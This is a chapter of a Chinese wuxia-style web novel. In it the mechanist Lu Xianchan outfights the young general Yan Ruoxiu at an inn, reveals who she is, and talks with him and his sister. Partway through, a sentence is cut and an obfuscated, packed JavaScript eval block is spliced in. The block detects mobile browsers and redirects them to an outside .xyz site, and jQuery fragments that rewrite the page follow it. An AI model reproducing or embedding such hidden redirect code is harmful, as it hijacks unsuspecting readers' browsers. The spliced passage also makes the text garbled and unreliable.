院子里的雪刚刚被清扫过,青石砖纤尘不染,小二和掌柜缩在门口看热闹。
陆衔蝉揣着手在院子里绕圈跑,袍子被风吹得鼓鼓囊囊,衣摆在身后呼呼搭搭。
晏若岫举着长枪,在她身后张牙舞爪地追。
“你们不要打了呀!”
晏如瑜空举着手,既拦不住陆衔蝉,也挡不住晏若岫,她欲哭无泪道:“阿兄,这位姑娘不是坏人,有什么事不能坐下来谈谈?”
陆衔蝉点头应和:“是啊,小将军,有什么事不能坐下来谈谈?我已被你们的人招安,改过自新、痛改前非、回头上岸、弃暗投明了!!”
“闭嘴吧,女贼,你以为我还会信你第二次?”
他这会儿倒是精明起来了。
晏若岫在陆衔蝉身后紧追不舍:“阿瑜,你莫要被此人蒙骗!若不是她迷晕了我,我早就与你汇合了!”
“她是逃犯!是被流放雍州的逃犯!”
“你还不快来帮我?”
“你要在下如何证明?有路引还不够吗?”
陆衔蝉扯着脖子喊话,她躲过枪招,足下用力将两人距离又拉远了些:“咱们商量商量,小将军先停下,你停下我便…”
“便举手投降、甘拜下风、束手就擒?”,晏若岫嗤笑着接下她的话:“这话姑娘前日说过,今日不管用了!”
‘那一课也忒长记性了!’,陆衔蝉气。
阿娘曾说过,‘治病需下狠药,破局还得猛攻’。
陆衔蝉心一横,转身站在原地不动了,扬着头,直面刺来的枪。
时间好像变得很慢。
晏若岫的枪尖泛着银光,破空时带起铮鸣,他眼中满满的惊异、犹疑、躲闪。
长枪险而又险停在陆衔蝉喉间。
她鬓角零散碎发被这股带着锈气的风拂起,脖颈破了皮,慢慢渗出道红痕,血珠顺着脖颈往下淌,半路被他的枪刃截走,洇湿长枪的红缨穗。
院落里寂静无声。
半晌,晏若岫抖着手问:“你疯了吗!”
“我这不是举手投降、甘拜下风、束手就擒吗?”
陆衔蝉昂着下巴,往晏若岫方向走了两步:“小将军怎么不刺?你不是认定了我是恶人?”
她步步紧逼:“信又不完全信,解释你又不听,你想如何?”
“若是小将军单纯想报复,来,在下保证不还手。”
晏若岫从怀里摸出个瓷瓶,冷着张俊脸甩给陆衔蝉:“这是东陵花散,我特意为你要来,吃了它,我压你回雍州。”
东陵花散。
此药投入火中可做迷烟,一小捏便能让人安眠一宿,淬在暗器上能让人睡上大半天,独独大量服用最为遭罪,会让人清醒浑身不能动弹,稍微用力,便如同…
拉屎久蹲般酸麻胀痛,煎熬至极。
东陵花难寻,没几个人会用这药来下毒,她淬在毫针上都已属‘奢侈浪费’了。
陆衔蝉接住又丢回去,她没好气道:“我不吃。”
“东陵花散瘀滞血脉,服用后无解,只能等药力自然散去,我应了阿姐帮她做事。”
“杀了我,放了我,你选。”
晏若岫寸步不让:“吃了它,或者我打到你吃,你选。”
陆衔蝉简直气笑,她不再废话,微微侧头避过枪尖,手臂处机弩羽翼般撑开,银光骤现,将晏若岫的精铁枪尖撞出火花。
在场没人看清陆衔蝉动作。
只是尘埃落定时,晏若岫手中长枪不停嗡鸣抖动,陆衔蝉左手捉住他右手,她的右拳抵在晏若岫胸膛。
箭矢咔哒落槽。
落针可闻的院里,轻微声响入了满院人的耳朵,明眼人都看得出,他二人攻守异形了。
“你输了”,陆衔蝉说。
“现在我们能好好谈了吗?小将军?”
不知是谁在倒吸凉气。
客栈门口的小二薅着掌柜衣领猛晃,他用气音低吼:“我想起来了,鱼姐!机关匠!她是机关匠陆山君!”
“白袍青衫,墨玉簪束发,随身白玉酒葫芦盛着倍儿香的梨花酿,我真是眼瞎才没认出来这位陆少侠!”
晏若岫低眸垂首,怔怔看着杵在胸口的拳头,他喃喃道:“神弩…”
“翼展。”
“乔叔他们送我又要回去的机关簪子,对对对,你那日头上簪得就是那根簪子,我居然没认出你!”
“你说你是因为打劫被流放。”
“我偷看过阿娘给阿爹的信,里头夹着封奏报上扯下来的笑话…”
晏若岫眼神瞟向左上方,面上飘起奇怪红晕。
奏报,扯下来,笑话?
天命阁副阁主‘樵夫’说过,信少了一页…他去宁泉,是送那页奏报给天命阁?
长公主殿下分享给晏大将军的笑话?
陆衔蝉心中陡然升起不好预感。
但晏若岫语速飞快:“江湖上赫赫有名的少侠满腔热忱报国心,为加入雍州卫在皇城根底下抢了御史大夫荷包后束手就擒,被京城兵马司捆到到京兆府才发现御史大夫兜里空空拢共只有五文钱并一卷皱巴草纸,于是她当堂薅了御史大夫冠上玉珠捻成粉末拍在京兆府尹案上,事后证实发冠是御史夫人在地摊买的假货,发冠价值只有十!文!钱——!”
‘钱’的尾音拉了长线。
晏若岫飞出去了。
陆衔蝉踢得。
她黑着脸,怒气沸腾烧开了天灵盖:“骂人不揭短!晏若岫,你!大!爷!”
“我没大爷。”
稻草堆里伸出一只颤颤巍巍的手:“太好了,你居然知道我…”
晏如瑜不知何时开始悠哉悠哉嗑瓜子,看到她阿兄飞出去时,短暂地不忍心别过脸。
她幸灾乐祸道:“阿兄仰慕你许久了,陆大侠。”
“他还想拜你为师来着。”
*
争斗歇止。
三人转战客栈大堂。
客栈掌柜和小二齐刷刷蹲在柜台后,探出半个脑袋瓜观望,楼梯后头从高到矮趴了一排,看样子是后厨的胖厨子和学徒。
三个年轻人抱着膀子,围坐在八仙桌边,周围弥漫着奇怪气氛。
“我从不说谎,小将军。”
陆衔蝉看向努力公事公办的俊朗青年:“那天药晕了你,刚出山洞,我便撞上了阿姐他们。”
她从怀中掏出路引放在桌上。
“这是阿姐给我的,你应当认识她,阿凌那小祖宗还管你叫二兄来着。”
“我应下帮…阿姐做事,他们还我自由身。”
“京城那边,我已按律给御史大夫家送去赔偿,京兆府那里也消了罪名,无论从哪边算,我都不是逃犯了。”
晏如瑜眸光星星闪闪,她指着陆衔蝉坚定道:“阿兄,你知道吗,我信她!”
晏若岫眉头松了松,须臾又紧了起来,他抱着膀子,手指规律地敲击自己胳膊,眼中戒备忽隐忽现:“既然陆少侠留有后手,为什么要逃跑,还给我下药?”
“小将军莫要忘了,是你先动的手。”
陆衔蝉正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499413|185988||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
欲狡辩,想起他腰带绳扣上多出来的孔,心虚了一晃:“在下只是顺便…试试你那身盔甲。”
她小声嘀咕:“既已送到眼前,咳…不试白不试。”
陆衔蝉耸耸肩:“在下本想找个遮蔽风雪的地方,免得你睡着之后被冻死,没想到一口气跑了四十里地,都没碰到一个。”
晏若岫若有所思,他的手摸上自己腰带:“所以山林里那时,并非是你跑不掉,而是我脱了甲才让你不得不停下?”
“是。”
“那你为何不直说?”
陆衔蝉撇嘴:“因为不想让人知道。”
晏如瑜满脸好奇,她问:“那为何这会儿又说了?”
陆衔蝉身子靠向椅背,眼神放空,她状似无可奈何道:“因为阿凌,那小祖宗从你阿兄腰带上多出来的孔,推测出我试过他的盔甲,还将此事在阿姐阿巍面前道破,你们兄妹二人同他们关系密切,瞒定然是瞒不住,与其被阿巍那碎嘴子当笑话讲给你们听,不如我自己先交代。”
“笑话笑话,此时听过笑过,再听时便不会笑,对方看你们不笑,那这笑话也就不可笑了。”
“哈哈哈哈哈,此话有理!”
晏如瑜捧腹大笑,笑声清脆爽朗,惹得陆衔蝉也勾了勾唇。
晏若岫捂住自家阿妹的嘴,他继续提问:“还有个问题,你为什么知道我的名字?我不记得自己见过你。”
方才情绪激荡,陆衔蝉下意识喊了晏若岫的名字。
她镇定自若道:“昭国最有名的一对儿龙凤胎,兄妹二人,都使枪,从雍州往京城去,不难猜。”
“仔细辨认…你们的确相似。”
“都挺好看。”
晏家兄妹一起红了脸。
陆衔蝉将桌上路引收好,她挂起温和假面:“小将军可还有其他疑问?阿姐他们还在等我,若是无事,在下要先行告辞了。”
晏若岫似乎是卸下了防备,他在她身后出声:“欸,陆少侠,我们可否同你一道?”
陆衔蝉脚步停下,她从客栈敞开的大门窥见那条通往雍州的路,马蹄印杂乱,白雪反射回来的光刺眼炫目。
当着孩子的面,刺杀他们阿爹,她干不出这事…
晏若岫就在她身后几步站着,一直握在手中的长枪被他随意丢在桌上,晏如瑜仍坐在桌边不曾动弹,她看起来犹豫极了。
她想回京城去找她阿娘。
陆衔蝉问他:“小将军还不信我?”
晏若岫连连摆手,局促道:“你送到边关的攻城弩很好用,还有去岁送来的牵丝索,在攻打摩罗城一战中起了很大作用。”
“若没有你的机关,我们不可能这么轻松攻下摩罗城。”
“还有阿娘的信…咳咳咳”
“阿娘也夸你是满腔热忱报国心,我自是信你。”
哪壶不开提哪壶,他阿娘分明是在笑话她…谁成想那御史大夫出门就带了五文?陆衔蝉知道御史拮据,不然也不会选择他去打劫。
可她当真没想过御史大夫那么拮据,连围观京兆府断案的茶楼小二兜里都有三两银子!
晏若岫扭扭捏捏:“陆少侠,在下喜好机关之术,这些年有些研究,那…那个,一直想同陆少侠探讨。”
陆衔蝉摇摇头:“小将军,方才你阿妹同我说,你们已有三年未见长公主殿下,阿娘比机关术重要,不是吗?”
若她还能见到阿娘,刀山火海也要闯一闯的。
“我的酒肆开在京城。”
“小将军放心,我们还会再见的。”